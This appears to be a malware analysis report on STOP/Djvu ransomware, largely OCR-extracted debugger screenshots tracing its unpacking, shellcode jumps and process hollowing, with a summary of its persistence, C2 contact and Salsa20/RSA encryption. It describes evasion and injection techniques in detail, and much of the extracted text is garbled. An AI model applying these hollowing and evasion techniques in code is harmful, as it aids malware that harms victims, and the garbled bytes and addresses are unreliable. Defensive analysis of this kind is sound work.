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Summary

STOP/Djvu ransomware is not a very known ransomware like Conti, REvil or BlackMatter, however ESET
ranked it on the 3rd place in the top ransomware families in Q2 2020 (https://www.welivesecurity.com/wp-
content/uploads/2020/07/ESET Threat Report 22020.pdf). This ransomware can run with one of the following

parameters: “—Admin”, “~Task”, “~AutoStart”, “~ForNetRes”, and “—Service”. The process doesn’t target specific
countries based on their country code, and also decrypts a list of files, file extensions and folders that will be
skipped. Two persistence mechanisms are implemented: a Run registry key and a scheduled task created using
COM objects. The malware computes the MD5 hash of the MAC address and performs a GET request to the C2
server based on it. The binary also acts as a downloader for 2 malicious files called build2.exe and build3.exe. The
victim ID is decrypted using the XOR operator and then written to a file called PersonalID.txt. Both local drives
and network shares are targeted by the malware, and the files are encrypted using the Salsa20 algorithm. The
Salsa20 matrix used for encrypting files is based on a UUID generated using the UuidCreate API, which is
encrypted using an embedded RSA public key (if the C2 server is unreachable) or a public key downloaded from
the C2 server. The RSA implementation found in the executable is taken from the OpenSSL project hosted at

https://github.com/openssl/openssl.

Analyst: @GeeksCyber

Technical analysis

SHA256: 4380c45fd46d1a63cffe4d37cf33b0710330a766b7700af86020a936cdd09che

The following PDB path can be found in the binary:
“C:\xudihiguhe\jegovicatusoca\jijetogez\winucet\xusev\kucor.pdb”. There is a call to GlobalAlloc that allocates

several bytes from the heap:

- 4 50 push eax METSW_SF 0 XBTSW_P 0 X87SW_U o

. 1 A 00 push B o
FF— FF 15 1B AD 41 00 | call dword ptr ds:[<aGlobalallocs] v —

*lz e i I T T > Default {stdcal) b + [ unlock
: ! 1 [esp] 90000000
dword ptr [0041A018 <file.&GlobalAlloc>]=<kernel32,.GlobalAlloc> 2: [esp+a] DOOSOFOB

i+ 0019FEDS
e [esp+C] 00419860 file.0D041986D

.TENT:004190CE Tile.exe: §190CE #184CE 5: [esp+10] O001CS1E
@oumpt  EYoump2  Woump3  EHoump4  Woumps @ watch1  ie-llocas ' Struct 0019EESD| DOOIOFOS
Figure 1

The malware calls the LoadLibraryW function in order to load the “kernel32.d11” file into the address space of the

process:

88 60 OC 43 00 push ¥i1e’ 4 50" = |4zoce0 |wasem—o o USLITL o JSaTiTn o
FF 15 1C AD 41 00 | €a11 dword prr dsi[<sLoadiibraryw>] |

Default (stacall) > 53] unlodk
L¢ ? [ [esp] OOAZOCED C"KerneT3zdll™
dword ptr [0041A01C <f1le.&loadlibraryw>]=<kernel32.Loadlibraryw> 2: [esp+4] 00000000
0019FEDS

1_0013FEDS
10] 00413004 file.00419004

+TEXT:0041910E T1le.exe:S1910E #1850E +
kernel3z. d11™

W e+ [P S - [P i~ [T fota i o
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Figure 2

The GetProcAddress API is utilized to retrieve the address of the “VirtualProtect” function:

®| 00419184 68 BO 61 4B 00 push file.4B61E0
o| 00419189 8B 15 3C FA 8D 00 mov edx,dword ptr ds:
e[ 00a1918F 52 push edx
[EIP e 13 FF 15 4C AO 41 00 call dword ptr d
e o SPR—

[8DFA3C]

4B61BE0

X87SW_C1 O XBYSW_CO 0 XB7SW_ES 0O
X87SW_SF O XB7SW_P 0 XB7SW_U O

|
Default (stdcall)

~ [5_2][J unlock
1: [esp] 76A60000 Kernelszz.76A

dword ptr [DD41AD4C <file.&GetProcaddress>]=<kernelsz.GetProcAddress>

. TEXT:004191C0 Tile.exe:$191C0 #185C0

WWoump1  @oump2  @Woump3  @hpump4  @houmps @B watch1  [x=lLocals

Figure 3

The memory area allocated above is filled in by the malware, and the VirtualProtect routine is used to change its

& struct

protection to 0x40 = PAGE_EXECUTE_READWRITE:

50 push eax

8B 4D FB mov ecx,dword ptr ss:
51 push ecx

8B 15 38 01 8E 0O mov edx,dword ptr ds:
52 pus

Al 84 78 8D 00 mov eax,dword ptr ds:
50 push eax

FF 15 AC 70 4B 00

Eebp-sl
[8EO138]
[8o7EB4]

call dword ptr ds:[<avirtualprotects]

60000
2: [esp+a] 004B61EO "virtualProtect”
3: [esp+8] 00000040
4: [esp+C] OD19FEDS

10] 0019FEDS

76AG0000 E132. 7 6AG0000
0D019EE45| D04B61B0 | "VirtualProtect

As/IW_B S5 LEMPLY)  AB/IW_/ 3 LEMPLY)
x87statusword 0000

X87SW_B 0 XB7SW_C3 0 XB7SW_CZ O
X875W_C1 0 XB7SW_CO 0 XB7SW_ES O

X87SW_SF 0 XxB7SW_P 0 XB7SW_U O

=
Default (stdcal)

~|[5 2] unloct

T [esp] 02A02020

dword ptr [DO4B70AC <file.&VirtualProtect-]=<Kernelsz.VvirtualProtects

.TEXT:004191E0 Tile.exe:$191E0 #185E0

Woump1  @Wpoump2  @Woump3  @hpump4  @oumps @8 watch1  [x=llocals

i struct

Address | Hex ASCII I
02A02020 |41 44 9C AD[38 FD 92 25[49 9B 4A 08[A6 54 93 21|AD..8y.%I.1..T.!|

Figure 4

An1aEFar

: [esp+4) 0DODO90FOB
[esp+C]_OD1SEESD

T
2
3: [esp+8] 00000040
4
5: [esp+rld] 00000040

There is also a lot of garbage code in the binary that is never executed, as shown in figure 5:
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il et =
Ltext:08419788 lea ecx, [ebptNumberOfEventsRead]
Ltext:8841978E push ecx ; lpNumberOfEventsRead
Ltext:0841978F push a8 3 nLength
Ltext:88419711 lea edx, [ebpt+Buffer]
Ltext: 88419717 push edx ; lpBuffer
Ltext:88419718 push a8 3 hConsoleInput
Ltext:8841971A call ds:ReadConsoleInputa
Ltext: 08419728 push =] ; uSize
Ltext:08419722 lea eax, [ebpt+var_A78]
Ltext:88419728 push eax ; lpBuffer
Ltext: 08419729 call ds:GetSystemkowb4Directoryl
Ltext:8841972F push a8 ; uSize
Ltext:88419731 lea ecx, [ebptvar 1278]
Ltext: 88419737 push ecx ; lpBuffer
Ltext:08419738 call ds:GetSystemWindowsDirectoryA
.text:8841973E lea edx, [ebp+CPInfoEx]
Ltext:88419744 push edx ; 1pCPInfoEx
Ltext:88419745 push a8 ; dwFlags
Ltext:88419747 push =] ; CodePage
Jtext: 08419749 call ds:GetCPInfoExu
Ltext:8841974F push =] ; lpValue
.text:88419751 push a8 3 lpName
Ltext:88419753 call ds:SetEnvironmentVariabled
Ltext:88419759 push =] ; lpStartupInfo
.text:88419758 call ds:GetStartupInfol
text: 88419761 push offset szFile ; "bc1u5ub xufevitabanufu lodan"
.text:88419766 push ] ; uSizeStruct
.text:88419768 lea eax, [ebpt+Struct]
Ltext:8841976E push eax ; lpStruct
.text:8841976F push offset szKey ; "dobacu wunubeficapixozeyorolezowodaw ja"
Ltext:88419774 push offset szSection ; "wvolozowepuyuyigokakifurizigucas sedinum”
Ltext: 08419779 call ds:GetPrivateProfileStructA

s =]

Ltext: 88419707 push
Ltext:88419709 push
Ltext:084197DB push
Ltext: 88419700 push
.text:884197DF push
Ltext:884197E1 push ; dwPipeMode

Ltext:884197E3 push ; dwOpenMode

.text:884197ES push offset aVocikizifonefa ; "vocikizifonefakifohihezederomaritefibaf™
.text:884197EA call ds:CreateNamedPipes

; lpSecurityAttributes
; nDefaultTimeOut

; nInBuffersize
nOutBuffersize

;3 MaxInstances

L B i i
-

Figure 5

The process jumps at the beginning of the new shellcode, as highlighted below:

EE————e

F v« FF 25 84 7B 8D 00 |im'p dword ptr ds:[8DTES4]
. o v sy p————
Jump is taken

dword ptr [file.00807B84]=02A02020

LLext: 00419846 Tile.exe: §19846 #18C46

Woump1  @oump2  @Woump3  @Woumps  @lpumps @ watch1  e=llocals ) Struct 0015CFBO
Address | Hex ASCII ~ ;[;iggfﬁf
02ADZ020|EB 0L 00 00|00 C3 55 B8B|EC 8D 45 C4|83 EC 3C 50| B....AU,1,EA.1<F RTRLTE

02A02030( EB
02A02040(C93
02A02050 | 0O
0ZA02060 ( FO
02A02070 | FO
0ZADZ0B0 | BB
O2A02090 | 00
02A020A0 | DO
02A020B0 | 00
02A020C0 | 7D

l][] 19CFCO

[]l]J.“CFD[]
O019CFD 4
0019CFD3
O019CFDC
0019CFEOQ

0] S E4
02A020D0| E7 0019CFE4
02A020E0|DE 0D19CFEC
02ADZ0F0| 88 0019CFED

02A02100 | 00
02A02110( 66
02A02120 | 5D
02A02130( BB

O019CFF4
DO013CFF3
D019CFFC

02A02140| 08 84 C9 EO|EE 33 CO BE|4D 0OC 3B D3|74 01 40 5A Ea13h M Ut @z ﬂRTEEkﬂ?
02A02150 (5B 59 BB E5 (5D C2 0OC 0OO(BB 45 08 BB |4D FB B89 48 :V.é:ﬁ...E..MB.H w| €
nzanzienlan oo ac nolop an salag 14 92 cC 2 00 92 &C = ITE BT ak a

Figure 6
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The binary retrieves the address of the following functions using GetProcAddress: “GlobalAlloc”,
“GetLastError”, “Sleep”, “VirtualAlloc”, “CreateToolhelp32Snapshot”, “Module32First”, “CloseHandle”.
CreateToolhelp32Snapshot is utilized to take a snapshot of the current process that includes all its modules (0x8 =
TH32CS_SNAPMODULE):

6A 00 push 0 XB7SW_SF O X87SW_P 0 x87SW.U 0
&A 08 push 8
FF 56 28 call dword ptr ds:[esi+28] [esit2 v
g 57 | pefautt stdcal) = |[5_[2] (7 unlock
= 1: [ p] 00000008
dword ptr [esi+28]=[0019CF30 <aCreateToolhelp3zsnapshot>]=<kernel3z.createToolhelp3zsnapshots> 2: [esp+4] 00000000
3: [esp+8] 00401890 <file.EntryPoint>
4: [esp+c] 00401B90 <file.EntryPoint>
02A027EE 5: [esp+10] 0025F000
L 00000008
@oump1  @Moump2  4Dump3  UWoump4  @Wpumps @ watchi  ellecals Y stuct Mmusmm 00000000

Figure 7

The ransomware extracts information about the first module of the process using the Module32First API:

. 50 push Ed}( XB7SW_SF 0 X87SW_P 0  X87SW_U o
. 57 ush
E— FF 56 2C cn]] dword _ptr ds:[esi2c] [esi+t2w
. e 5 | Default (stdcal) ~|[5 1] C] unlodk
1: [esp] 000000DD
dword ptr [esi+2C]=[0019CF94 <&Module32First>]=<kernel3z.Module3zFirst> 2: Eesgl,, 0019CD34
3: [esp+8] 00401890 <file.EntryPoint>
4: [esp+c] 00401B90 <file.EntryPoint>
02ADZ80E 5: [esp+ld] 0025F000
o) 00000000
oumpi  @oumpz  @4Dump3  @Woump4  @4pumps @ watchi  be-llocak 7 Stuct Mmuscnzq 0015CD34

Figure 8

The malicious process allocates and populates a new memory area via a function call to VirtualAlloc (0x1000 =
MEM_COMMIT and 0x40 = PAGE_EXECUTE_READWRITE):

6A 40 push 40 Ao/ im_D 3 \EmpLy)  Aesim_/ 3 \EmpLY)
68 00 10 00 00 push 1000

BB 45 08 mov eax,dword ptr ss:|[Jebp+&] x875tatusword 0000

8B 40 04 mov eax,dword ptr [eax+4] XB7SW_B 0 xB7SW_C3 0 xB7SW C2 O
FF 70 09 push dword ptr’ ds: [eax+9] X87SW_C1 0 XBTSW_CO 0 XB7SW_ES 0O
€A 00 push o XB7SW_SF 0 XB7SW_P 0 XB7SW U O
8B 45 08 mov. eax dword_ptr bp-+5]

FF 50 24 call M _pTr ns [eax+z4] [eax+2

v

5 |Default (stdcal) ~|[5 ][J unled
1: [esp] 00000000

2: [esp+4] OD11ASAD

3: [esp+s] 00001000

4: [esp+C] 00000040

5: [esp+10] FC239120

dword ptr [eax+24]=[D019CFEC <&Virtualallocr]=<kernelsz.virtualAllocs

024024D6

o) 00000000

@Woump1  @pumpz  @oump3  @pump4  WHoumps @ watch1i  Bellocal  # Stuct DD15CD04| DD11ASAD

Address | Hex | AscII I [~ " giiggg mmomoo‘é'
Figure 9

The process jumps at the beginning of the new shellcode, as highlighted below:

S - e e ey
Eﬂ—’——)t ~ FF 85 FC |;imp dword ptr s=z:[ebp-4]
¢ >

Jump is taken

dword ptr [ebp-4]=[0019CD18]=02DA0000

02A0250D

@Woump1i  @Woumpz  @Wpump3  @loump4  @Woumps @ watchi  [x=lLocals # struct 0019CD14 g:
address | Hex E o [ b
02DA00CO [[EB] 2B 06 00|00 €3 CC CC|CC C€C CC CC|CC CC C€C CC LAITITITITEY ;‘l;CDjl, o
02DA0010|55 8B EC 83 |EC 08 53 56|57 68 86 57|00 0D 63 B8 u 1 i.swvwh.w, . h. 0015cD24 | 0
02DAC0Z0| 4E OD 00 E8|1A 00 00 00|89 R \JfJJ. oozl o
02DAD030| 68 88 4E 0D |00 ES 08 00|00 BHTEEDSE |
02DA0040| 00 OO 55 B8B|EC 53 56 57 (51 BoTocnan G
02DA0OS0|58 BE 40 0OC|8B 48 OC BB|11 oo19cD34 ) 0
02DA0O60| 08 57 50 E8|SE 00 00 0O |85 zenrmea] b
02DA0070| 8B 41 18 50|88 58 3C 03 |C3 Boiacnagl 6
02DA0080| 8B 4B 1€ BB|53 20 8B 5B|24 oo19cn 40 || o
02DA0090| 32 58 50 03 |FO 6A 01 FF |75 SenaE |G
02DACOAD| 85 CO 74 08|83 €2 04 B3|C3 \JfJJ. o4zl o
02DA00B0 | 88 13 €1 E2|02 03 CA 03|01 53 5F SE|SB 8B E5 5D |..Ad..E..Y_A[ semaat |
(02DA00CO|C2 08 00 55|88 EC 51 53|52 33 C9 33|DB 33 Dz 8B|A..U. 1Q5R3E3030 on13cosoll o
02DACODO| 45 08 8A 10|80 CA 60 03 |DA DL E3 D345 10 8A 08|E... URA.E... op1acoe4 |l €
02DAD0ED| 84 C9 EO EE|33 CO SE 4D|0C 32 D3 74|01 40 SA SB|.E&iZA.M sot.ez[ ob13coss || 6
02DADOFO|59 8B E5 5D|C2 OC 00 BB|45 08 8B 4D |F8 89 08 8B|Y.4JA...E..M@... Baiacoeg G
02DA0L00|55 OC 8B 45 (FC 89 02 S5F|SE 5B 8B E5|5D C3 CC CC u.:EgJ.._nj.éjAIt l13c03-1 o
02DA0110|55 8B EC 81|EC 84 00 DO|00 90 90 90|C7 45 FO OL|U.¥.3....... C_Ea o4l o
02DA0120(00 OO0 00 C7 (45 FQ 02 Q0|00 0D 8B 45|08 8B 48 0OC ECERTTTED +H. G
02DA0130 |89 4D D4 8B|55 08 8B 42 |0 8B 4D D4|03 41 3¢ 83| .MA.U..B. Mo Aq vl €

NINANIAN] AC EQ £A NAle® nn 10 nnlon €9 N0 2lon AN A ANl cmi kb

Figure 10

The malware calls the LoadLibraryA API to load the following DLLs into memory: user32.dll, kernel32.dll and

ntdll.dll. It also retrieves the address of the following functions: “MessageBoxA”, “GetMessageExtralnfo”,
“WinExec”, “CreateFileA”, “WriteFile”, “CloseHandle”, “CreateProcessA”, “GetThreadContext”, “VirtualAlloc”,
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“Virtual AllocEx”, “VirtualFree”, “ReadProcessMemory”, “WriteProcessMemory”, “SetThreadContext”,
“ResumeThread”, “WaitForSingleObject”, “GetModuleFileNameA”, “GetCommandLineA”,

“NtUnmap ViewOfSection”, “NtWriteVirtualMemory”, “RegisterClassExA”, “CreateWindowExA”,
“PostMessageA”, “GetMessageA”, “DefWindowProcA”, “GetFileAttributesA”, “GetStartupInfoA”,

“VirtualProtectEx”, “ExitProcess”

From our perspective, the malware developers have implemented some actions that don’t influence the main
execution flow as an anti-analysis mechanism. GetFileAttributesA is used to retrieve file system attributes for a

non-existent file:

. push eax 2 eax:"a X87SW_C1 0 XB7SW_CO © XB7SW_ES O
. 8B 4D 08 mov ecx,dword ptr ss:[ ebp+&l XS7TSW_SF 0 XB7SW_P 0 X87SW_U O
B 8B 51 74 mov_edx,dword ptr ds: [ecx+74] edx: Ge
(EIP pu s 13 FF D2 call edx edx: Ge v
. T o 55 s |Default (stdcal) ~ [5 2] unled
esp] D019CAS0 “a
edx=<kernel32.GetFileAttributesA> (7GACDFBO) Esglﬂ TR T ST
esp+8] 48667061
esp+C] 00190051
02ZDAOSEC 5: [esp+1Dd] 00000000
[T e e e e e e e CASO | "apfHQ”

Figure 11

The file registers a window class called “saodkfnosa9uin” using the RegisterClassExA routine:

50 push eax X87SW_C1 0O XB7SW_CO 0O XB7SW_ES O
8B 4D 08 mov ecx,dword ptr ss:|febp X87SW_SF 0 XB7SW_P 0 XB7SW_U o
8B 51 60 mov_edx,dword ptr ds: [acx fu} edx:Re |
FF D2 Eﬂ]] erjx edx:Re v
5 | Default (stdcal) ~ [5 2] unlock

esp] 0015COF0

espra] G46F6173
esp+3] GFGEGGGE
esp+C] 75396173
esp+10] 0000GEES

edx=<user32.RegisterClassExA> (75D079F0)

02DA04FL

@Woump1  @oump2  @lHDump3  @Wpumpa  Ploumps @ watth1  -llecals 4 Stuct

Address | Hex ASCTT
0019C9FO0|30 00 00 00[00 0D 00 00[EQ 91 0€ 77(00 00 00 00|0.
0019CACO | 00 00 00 00|00 00 00 00|00 00 00 00|00 00 0D 00

RO €9 319 onjor

0019CA10 |06 00 00 00|00 00 00 0O 0 00 00 00

Figure 12

The CreateWindowExA function is utilized to create a new window (0x200 = WS_EX_CLIENTEDGE,
0xCF0000 = WS_OVERLAPPEDWINDOW, 0x80000000 = CW_USEDEFAULT):

e 0 A 0D push 0 X87r5 00000000000000000000 STS EmMPTy 0.000000001
. 64 00 push 0 X876 0000DOO00DODO00000DD ST EMPTy O.0000000D!
. 6A 0D push 0 X87r7 00000000000000000000 ST7 EMPTy 0.000000001
. A 00 push 0
. 68 E8 03 00 00 push 3E8 xe7Tagword FFFF
. 68 E8 03 00 00 push 2E8
. 68 00 00 00 80 push 80000000 KEZENE0 L Cemp ) XN 2 (empry))
. 68 00 00 00 80 push 80000000 XEZ i EEthyg RATEN 320 EE'“W%
87TW_4 3 (EmpTy’ X87TW_5 3 (EmpTy’
. 68 00 00 CF 00 push CFO00O ‘
Mk 8D 4D A4 Tea ecx, dword ptr ss:[Jebp-5C ecx:Cr X87TW_6 3 (Empty)  X87TW.7 3 (Empty)
. 51 push ec ecxicr
. 8D 55 90 lea edx dword ptr ss:[febp-70j x875tatusword 0000
e 52 push e edx:"s XB75W_B O xX875W_C3 0 x875W.C2 O
. 68 00 02 00 00 push "()EJ XB75W_C1 O x87SW_CO 0 x87SW_ES O
®|cC 8B 45 08 mov eax,dword ptr ss:[Jebp+sj XB7SW_SF 0 X875W_P 0 x875wW_U o
. 8B 48 64 mov_ecx,dword ptr ds:[eax+64] ecx:Cr
EE— FE D1 call ecx SCXICH v
o T e —— —— 5 | Default (stcal) ~ |[5 2] 00 unlok
: 00
ecx=<user32.CreatewindowExA> (75D04020) 0019C900 "saodkfnosasuin”
0013C9E4 “mfoaskdfnoa™
00CFO000
02DA0533 ] 80000000
WWoump1 | @loump2  @oump3  @Hoump4  @Ypumps @) watthi  Iesllocals ¥ Struct Isg0dkinosasyin®
"mfoaskdfno;

Address |Hex
0015C9FD|30 0D 0O 00|00 00 00 OD|ED 91 06 77|00 0O 0D 00
0019CA00 | 00 00 00 00 00 40 00|00 00 00 00|00 00 00 00
0019CA10|06 00 00 00 0|R0.CO 19 00 0|

0019CA20 (50 CA 19 00 06 DA 02|28 €C 19 00|FF FF FF FF
0D19CAS0 (61 70 66 45 00 19 00|02 00 00 00|6F 0O 00 00
0019CAG0 |08 €D 19 00 15 DA 02|28 CC 19 00(43 72 65 61

20
00
AD SE BA 02 |FF 40 €A 19 00/EB BD ES TE
0019CA30(38 CA 19 00|g8 CF 19 00(D0 00 DO 00|00 00 00 00
10
51
2

Figure 13

The process allocates a new memory area via a function call to Virtual Alloc (0x1000 = MEM_COMMIT and
0x4 = PAGE_READWRITE):

GA 04 push 4
68 00 10 00 00 push 1000 x87Statusword 0020
65 00 28 00 00 push 2800 XB7SW_E O X87SW_.CZ 0 X87SW.C2 0
6A 00 push 0 XB7SW_C1 O X87SW_CO 0 X87SW_ES 0
88 55 08 mov edx,dword ptr ss:[febp+3] XB7SW_SF 0 X87SW_P 1 X87SW_U 0
88 12 38 mov_eax,dword ptr ds:[edx+38] eax:vi
FF DO call eax eaxiVi w
e o e e = Default(shia\ﬂ ~ |[5_ ][] unlodk
: 00000000
eax=<kernelz2.virtualAlloc> (76A76870) Eespfﬂ 00002800
[esp+s] 00001000
[esp+C] 00000004
0ZDADLS & : [esp+10] 00000000
4 00000000
W% bump 1 @44 Dump 2 @4 pump 3 @44 Dump 4 @4 Dump 5 @" Watch 1 [*=ILocals é’ Struct '0019C934 | 00002800
0013C938 | 00001000
lasdress pe e A I [oosesie
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The ransomware extracts the content of the STARTUPINFO structure:

51 push ecx % X87SW_C1 O XBTSW.CO O XB7SW_ES 0O
88 55 08 mov edx,dword ptr ss:[ebp+s] X87SW_SF O XBTSW_P 1 XB7SW_U 0O
88 82 84 00 00 00 mov_eax,dword ptr ds:[edx+84] eax:Ge |,
FF DO call eax eax:Ge v
T oo e 5 | Defeult (stdcal) ~ [5_[][] unlock
es 0019C944
eax=<kernel3z.GetstartupInfoA> (7GAB3420) EESEL] 00000000
[esp+8] 00000000
[esp+c] 000000OO
02DADZZ3 [esp+10] 00000000
I am - @m_ - | mm_ - | mm_ P @ - IEEEESEEM 0019C544

Figure 15

The malware creates a copy
CREATE_NO_WINDOW

of itself in a suspended state via a call to CreateProcessA (0x08000004 =
| CREATE_SUSPENDED):

Figure 16

GetThreadContext is used to

51 push ecx ecx:cr | X87r4 000D0OOOOOO0DDDD0DOOO ST4 Empty 0.00000000!
s 55 80 Tea edx,dword ptr ss:[ebp-20] x87r5 00000000000000000000 ST5 Empty 0.00000000!
52 push edx edx:”C | x87r6 3FFF8000000000000000 ST Empty 1.000000001
6A 00 push 0 x87r7 3FFFSDB7OC75DF22363 ST7 Empty 1.10714871
GA 00 push 0
68 04 00 00 08 push 2000004 x87Tagword FFFF
gi gg gggh o X87TW_0 3 (Empty) x87TW_1 3 (Empty)
6A 00 push o X87TW_2 3 EEmpty% X87TW_3 3 EEmpty%
s ol 87TW_4 3 (Empty’ X87TW_5 3 (EmpTY’
8B 45 08 mov eax,dword ptr ss:|febp+s] oL
8B 48 5C mov_ecx,dword ptr ds:[eax+sC] ecx:cr X87TW_6 3 (EmpTy) x87TW_7 3 (Empty)
FF DL gall ecx ecx:cr
50 push eax x87Statusword 0020
88 55 EC mov_edx,dword ptr ss:[febp-14] [ebp-1 [ xa7sw_s XB7SW_C3 0 XB7SW.CZ O
52 push edx edx:"C X87SW_C1 0O XB7SW_CO O XB7SW_ES O
88 45 08 mov eax,dword ptr ss:[ebp+s] X87SW_SF O XB7SW_P 1 X87SW_U O
8B 48 30 mov_ecx,dword ptr ds:[eax+30] ecx:cr
FF DL call ecx EEXICH v
S it > Default (stdcall)
eCX=<Kernel3z.CreaterroCessA> (76A744B0)
02DA0255
P Desktop\\fi1e. exa”
WWoump:  @loump2  @loump3  @oump4  @Houmps @ watch1  kellocals ) Struct \Desh";},\\fﬂe_e,m\----
0018C920
'D‘KHZ,, T ~ | oo19caz24
23 SA A 02 B0 B85 22 02/D....Z°. - THT. 0019C928
00 00 00 00|00 00 00 00|00 00 00 00 0019C32C
00 00 00 00|00 00 00 00|00 00 00 00 Oinie
00 00 00 OO|FF FF FF FF|FF FF FF FF 0019C934
00 00 00 00|01 00 00 40|3C 24 20 76 e
4013 DA 02|00 00 00 00|90 00 00 90 0019€93C

retrieve the context of a specific thread:

52 push edx edx: Ge x875tatusword 0020
8B 45 DC mov eax,dword prr ss:[Jebp-za] X87SW_B Xx87SW_C3 0 x87SW.C2 O
50 push eax X87SW_C1 0 xB7SW_CO O xB7SW_ES 0O
BB 4D 08 mov ecx,dword ptr ss:|[ebp+5] X87SW_SF O XB7SW_P 1 XB7SW_U o
8B 51 34 mov_edx,dword ptr ds: [ecx+34] adx: Ge
FF D2 call edx BOXIGE v
C= e 5 | Defeult (stdcal) ~ [5 2] unlock
edx=<kernel3z.GetThreadcontext> (76A75480) [espra] 02AA0000
[esp+s] 00000000
[esp+C] 00000044
02DAD23F [esp+10] 02BASAIS
& 00000150
| WWoump1  @yoump?  @Dump3  WWDump4  UWoumps @ watchi  bellocals 4 Struct F@omxgac ey

Figure 17

The malicious binary unmap

ZwUnmap ViewOfSection:

s a view of a section from the address of the newly created process using

52 push edx edx:Zn X87Statuswora 0020
8B 45 D8 mov eax,dword ptr ss:[Jebp-zsll XB7SW_E 0 X87SW_C3Z 0O x87SW_C2 O
50 push eax XB7SW_C1 0O X87SW_CO 0 xB87SW_ES O
8B 4D 08 mov ecx,dword ptr s lebp+3] XB7SW_SF O X87SW_P 1 X87SW_U o
8B 51 7C mov_edx,dword ptr ds:[ecx+7C] edx:Zn
E— FF D2 call edx edx:Zn v
222 "SR 5 |Default stdeal) -
: [esp] 00000154
edx=<ntd11.ZwUnmapViewofSection> (7704EAZ0) Lesel 00400000 T1ile.00400000
00000000
00000044
02DA0ZEZ ] 0ZBASAIE
4 00000154
@Woump1 | @oumpz  @Woump3  @loumps  @oumps @ watchi  brellocals ¥ Struct mmuc,gc 00400000 | F11e. 00400000

Figure 18

The VirtualAllocEx routine i

s utilized to allocate new space in the newly created process (0x3000 =

MEM_COMMIT | MEM_RESERVE and 0x40 = PAGE_EXECUTE_READWRITE):
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x87TW_1 3 (Empty)
X87TW_3 3 (EmpTy)
X87TW_5 3 (EmpTy)
X87TW_7 3 (EmpTy)

0 x87SW.CZ O
0 x87SW_ES 0
1 x875W_U 0

&8 80 30 00 00 BEEE 3000 XBagond FREE
8 45 F8 mov cax,dword ptr ss:[ebp-al crant ([ s
88 48 50 mov ecx,dword ptr ds:[eax+50] =
o B X87TW_4 3 (Empty)
88 55 F8 mov edx,dword ptr ss:|[febp-a] X87TW_6 3 (Empty)
88 42 34 mov_eax,dword ptr ds:[edx+34]
50 pus! x87statusword 0020
88 4D D8 moy ecx,duord ptr ss:lfebp-2o] XBTSW_E O X87SW_C3
51 push e XB7SW_CL O X875W_CO
88 55 08 Rov edx,dword prr ss:[febpal XB7SW_SF O X87SW_P
02DAD301 88 42 3C mov_cax,dword pir ds:[edx 3C] e e
FF DO call eax
Ex e S o e oo e Default (stdeal)
eax=<kernel3z.VirtualAT10CEX> (76A76890] ?spL] e
esp+8] 00137000
esp+C]_ 00003000
02DAD304 esp+10] 00000040
P 154
W bump 1 @4 Dump 2 B4 Dump 3 ¥4 Dump 4 % Dump 5 @ Watch 1 [*=] Locals é, Struct. 00400000 | £ile.00400000
ASC]I '~ 000

00400000

|Address Hex

0019C 930 m_qg_:m_mpn CA 19 ng|m_;|.5_|m_gz‘54 01 00 au|

Figure 19

|
S W0Te ]

0019C93C | 00000040

The ransomware writes data to the area allocated above using multiple calls to ZwWriteVirtualMemory, as

displayed in figure 20:

®|| 02DAD309 64 00 push 0
® || 02040308 86 4D F8 mov ecx,dword ptr ss:[ebp-sl) xs7Tagword FFFF
# | 02pA030E S8 EaEd ngaxszhegé;:dwm-d ptr ds:[ecx+54] X87TW_O 3 (Empty) x87TW_1 3 (EmpTy)
o 88 45 08 mov eax,dword ptr ss:|[ebp+g] paszyie =2 Empry) QS e (EmpTY)
. 88 45 0OC may ecx, dword ptr ds:[eax+C] KAZ TN 383 OEMPTY ) S XL A (EnpTY)
. = push o X87TW_6 2 (Empty)  x87TW_7 2 (EmpTy)
. 88 55 DO mov edx dword ptr ss:[febp-zo] edx: Zw
. 52 push edx edx:zw | x875tatusword 0020
o 8B 45 D8 mov eax,dword ptr ss:[febp-2:] X875W_B XB7SW_C3 0 x875W.C2 0
. 50 push XB7SW_C1 0 xB7SW.CO O x875W ES 0
. 86 4D 08 mov ecx,dword ptr ss:[febp+s] X87SW_SF 0 XB7SW_P 1 X87SW_U 0
. 88 91 80 00 00 00 mov_edx;dword ptr ds: [ecx+50] | ===t
[EIP g 1 FF D2 call | = = r
. S Eaitat 5 | Defeult (stdcal) ~|[5_ 1] unled
= [esp] 00000154
edx=<ntdl1.ZwWritevirtualMemory> (7704EB20) [easp+4] 00400000 F1le.00200000
[esp+8] 02DA15A0
[esp+C] 00000400
02ZDAD3ZA |5: [esp+l0] 00000000
@Woump i Yoump2  @pump3  Wloumpa  @lpumps @ warch1  -llocas ' stuct freee e
Address | Hex ASCII ]
02DA15A04D] 5A 90 00[03 00 00 nn|m 00 00 OO[FF FF 00 00|MZ... - 0000
hemn |77 "Te[[D2BA push 0 Xx37r4 00000000000000000000 ST4 Empty 0.00000000(
. Es mov edx,dword ptr ss:[[ebp-15] edx:Zw || X87rs 00000000000000000000 STS EmpEy O.00000000(
. 10 mov eax,dword ptr ds:[edx+10] edx+10 | x87r& 3FFF8000000000000000 STE EmpTy 1.00000000(
. pus i L X87r7 3FFFEDE7OCS7SDF22363 ST7 EMPTy 1.10714871
a 08 mov ecx,dword ptr ss:|[[ebp+3]
. & Mov eaxdword per &5 febp- 130 T |
' sl i X87TW_0 3 (Empty)  x87TW_1 3 (Empty)
- 14 ;ﬂghegx;:dwurd ptr ds: [eax+14] X3TTW.2 3 (Empty)  X&7TW.3 3 (Empty)
. = = word wrn an e 1 XSTTWA 3 (Empty)  x67TWS 3 (Empty)
. oo mov edx,dword Sw s;:{anﬂ-sé} xAZTAE 83 I(EmpLy) S KBZIWCZ: 0 (Enpty)
o oc add edx,dword ptr ds: [ecx+C]
. push edx x87statusword 0020
. D3 e dword ptr ss:[[ebp-25]) X87SW_E O XB7SW_.CZ 0 X87SW €2 0
o push e X87SW_C1 0 XB7SW_CO 0 X87SW_ES 0
. 08 mov ecx ~dword ptr ss:[ebp-a] XB7SW_SF 0 xB7SW_P 1 x875W U 0
e| 02040393 80 00 00 00 moy_edx, dword pir ds:[ecx+50]
E1F] call
. S 3 Deﬁu\t(shda”} [ unlock
Fem esp] 0000015
d11.Zwwritevirtualmemory> (7704EBZ0) esptd] ey o e
esp+8] 02DA13A0
esp+C] DDOCAGDD
02DADZ32 esp+1n] 00000000
Woump1  @Youmpz  @yoump3  @oump4  @Moumps @ watcht & struct £ile. 00401000
Address | Hex [Asciz
02DA19A0 55| 53 56 57|33 Dz 9C 58|88 CB 35 00]00 20 00 50| USVW30,X.E! i
AT e \ 00 push 0 = x87r4 00000000000000000000 ST4 Empty 0.00000000C
